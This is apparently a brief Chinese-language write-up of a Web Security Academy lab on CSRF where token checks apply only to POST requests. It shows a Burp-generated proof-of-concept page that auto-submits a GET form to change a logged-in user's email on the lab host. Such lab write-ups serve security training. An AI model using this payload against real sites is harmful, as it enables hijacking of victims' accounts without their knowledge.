CSRF,其中令牌验证取决于请求方法
漏洞
某些应用程序在请求使用 POST 方法时正确验证令牌,但在使用 GET 方法时跳过验证。
在这种情况下,攻击者可以切换到 GET 方法绕过验证并进行 CSRF 攻击:
沿用上次文章的代码,更改URL即可、
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acea1f671f994b75805b7b1a003d009b.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="aaa@dontwannacry.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>